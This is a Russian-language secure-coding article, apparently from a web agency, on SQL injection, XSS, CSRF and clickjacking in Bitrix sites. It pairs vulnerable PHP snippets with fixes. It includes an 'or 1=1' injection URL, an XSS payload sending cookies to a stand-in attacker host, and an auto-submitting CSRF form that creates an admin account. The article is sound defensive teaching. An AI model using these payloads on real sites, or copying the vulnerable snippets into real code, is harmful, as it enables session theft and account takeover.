Полный цикл в digital

Уязвимости Битрикс

Разберу самые распространенные уязвимости, которые встречаются на сайтах, покажу какое отношение они имеют к Битрикс и как их избежать.

SQL инъекции

Суть уязвимости в том, что в SQL поступают не обработанные данные, которые меняют логику запроса.

Вероятность допустить инъекции в Битрикс низкая, потому что 99% запросов идут через готовые обертки, напрямую с базой данных работа идет редко. Если вы сами генерируете SQL запросы, тут уже стоит быть очень внимательным.

У вас страница с информацией о пользователе, на которой выводятся логин, ФИО, пароль:

$userId = $_GET['id'];
$res = $DB->Query('SELECT * FROM users WHERE id=' . $userId);
if ($arUser - $res->Fetch()) {
    // Показать пользователя
    if (intval($userId) === intval($authorizedUserId)) {
        // Показать так же логин и пароль
    }
} else {
    // Нет такого пользователя
}

ID пользователя передается через GET параметры. Если переданный ID равен ID авторизованного пользователя, то показываем так же логин и пароль. Проверяем страницу, передаем ID пользователей - всё работает как надо.

Злоумышленник регистрируется на сайте, переходит в информацию о своем аккаунте, ссылка у него имеет вид /users/info?id=345. Злоумышленник ссылку модифицирует так: /users/info?id=345 or 1=1. На странице отобразится первый пользователь в базе данных, при этом отобразятся логин и пароль.

Конструкции or 1=1 подходят все записи, и база вернет все записи, а скрипт скорее всего выведет только первую, потому что в нем нет цикла.

Обезопасить код можно следующим образом:

  1. Если вы ожидаете от пользователя цифру, сразу приводите к цифре данные, при первом же обращении к ним. В нашем случае строка $userId = $_GET['id'] должна выглядеть так: $userId = intval($_GET['id'])
  2. Если данные не получается форматировать, нужно экранировать в запросе строку. Запрос из такого: $DB->Query('SELECT * FROM users WHERE id=' . $userId) превратится в такой: $DB->Query("SELECT * FROM users WHERE id='" . $DB->ForSql($userId) . "'")
  3. Не используйте свои запросы без необходимости, пользуйтесь готовым функционалом. CUser::GetByID($userId)

Если не уверены в безопасности своих запросов, пытайтесь сами сломать их. Передавайте от лица злоумышленника что попало в свое приложение. Как минимум кавычки, пробелы, слеши (' " \"\' /' /" or and 1=1)

XSS

Уязвимость в том, что на страницу выводятся данные от пользователя без обработки. А в пользователь, например, может javascript сохранить, который будет выполняться даже у администраторов, которые посещают зараженную страницу.

Пользователь в форме указывает ссылку на картинку, мы ссылку сохраняем в базу, а потом картинки выводим на странице:

while ($arImage = $res->Fetch()) {
    echo '<img src="'.$arImage['SRC'].'" class="user-image">';
}

Пока в ссылке нет кавычки, то всё идет как надо. Если кавычка появляется, то как минимум ломается верстка.

Злоумышленник сохраняет такую ссылку:

https://vk.com/favicon.ico" onload="document.insertAdjacentHTML('beforeend', '<img src=http://evil.host/image.php?cookie=' + document.cookie)

Этот код вставляет иконку ВКонтакте на страницу, а после того как иконка загружается, отправляет куки зашедшего пользователя на сайт злоумышленника. Даже тег <script> не используется. Похитить куки это еще самое безобидное, возможности тут безграничны.

Чтобы предотвратить атаку, необходимо экранировать данные перед выводом. В битрикс есть функция htmlspecialcharsbx(), которая является аналогом htmlspecialchars, только сразу указана кодировка сайта.

В нашем случае строку echo <img src="'.$arImage['SRC'].'" class="user-image"> надо заменить на echo <img src="'. htmlspecialcharsbx($arImage['SRC']).'" class="user-image">

Если при выводе данных инфоблока вы используете метод GetNext(), то в нем уже есть преобразование HTML данных в безопасный вид. Небезопасные данные помечаются символом ~.

Чтобы проверить безопасность вашего кода, попробуйте сами его сломать. Например, сохраните '" \'\"<h1>СЛОМАНО!</h1>, после смотрите на странице исходный HTML код - как там это выводится, должно быть так:

" \'\"<h1>СЛОМАНО!</h1>

CSRF

Суть атаки в том, что не проверяется источник принимаемых данных из форм. Сайт всегда доверяет приходящим данным и сохраняет их - что не верно.

Представим, что на сайте у админа есть форма добавления пользователей. Злоумышленник знает об этой форме, но доступа к аккаунту администратора у него нет.

Как выглядит сама форма, нам не особо важно, скрипт сохранения такой:

if (! empty($_POST) and $USER->IsAdmin()) {
    $user = [
        'ACTIVE' => 'Y',
        'LOGIN' => $_POST['login'],
        'EMAIL' => $_POST['email'],
        'PASSWORD' => $_POST['password'],
        'CONFIRM_PASSWORD' => $_POST['password'],
        'GROUP_ID' => $_POST['groups'],
    ];
    $CUser = new CUser;
    if ($CUser->Add($user)) {
        echo 'Пользователь добавлен';
    } else {
        echo 'Произошла ошибка ' . $CUser->LAST_ERROR;
    }
}

Злоумышленник создает страницу на своем хакерском сайте с кодом:

<form action="http://magazin.ru/user/add" method="POST">
    <input type="hidden" name="login" value="hacker">
    <input type="hidden" name="email" value="hacker@mail.ru">
    <input type="hidden" name="password" value="qwerty123">
    <input type="hidden" name="groups[]" value="1">
    <input type="hidden" name="groups[]" value="2">
    <input type="hidden" name="groups[]" value="3">
    <input type="hidden" name="groups[]" value="4">
    <input type="hidden" name="groups[]" value="5">
    <input type="submit">
</form>
<script>document.querySelector('form').submit()</script>

Ссылку на эту страницу он дает админу и просит перейди по ссылке. Админ переходит по ссылке, у него сразу отправляется форма на создание пользователя. А так как админ авторизован на своем сайте - то сразу создается аккаунт хакера с правами администратора.

Проблема тут в том, что сайт никак не может проверить кто заполнил форму на каком сайте. Для проверки формы добавляют скрытое поле со специальным кодом, которое проверяется перед сохранением формы.

В битрикс в качестве такого защитного кода использует id сессии. В нашем случае в форму надо добавить код:

<?=bitrix_sessid_post()?>

Код в форму добавит скрытое поле:

<input type="hidden" name="sessid" id="sessid" value="идентификатор сессии" />

В скрипте сохранения строку:

if (! empty($_POST) and $USER->IsAdmin())

Нужно заменить на:

if (! empty($_POST) and check_bitrix_sessid() and $USER->IsAdmin())

Теперь никто не может подделать данные формы.

Clickjacking

Уязвимость, когда происходит захват клика админа. Работает благодаря возможности вставить чужой сайт в iframe на своем сайте.

Злоумышленник вставляет на своем сайте через фрейм админку атакуемого сайта. Фрейм через стили устанавливается прозрачный и ставится поверх какой-то кнопки на сайте злоумышленника.

Злоумышленник отправляет ссылку на страницу своего сайта администратору. Администратор переходит по ссылке, нажимает на кнопку на сайте злоумышленника. Но так как поверх кнопки вставлен атакуемый сайт, клик происходит на атакуемом сайте от имени администратора.

Так злоумышленник может нажимать кнопки в админке от имени администратора.

Чтобы такой уязвимости на вашем сайте не было, надо применять заголовок X-Frame-Options. Он говорит браузеру, чтобы тот сайт во фрейме не открывал.

В Битрикс есть готовая настройка для этого, включается тут: Настройки -> Проактивная защита -> Защита от фреймов.

Заполните форму уже сегодня!
Для начала сотрудничества необходимо заполнить заявку или заказать обратный звонок. В ответ получите коммерческое предложение, которое будет содержать индивидуальную стратегию с учетом требований и поставленных задач
Работаем по будням с 9:00 до 18:00. Заявки, отправленные в выходные, обрабатываем в первый рабочий день до 12:00.
Спасибо, ваш запрос принят и будет обработан!
Эйч Маркетинг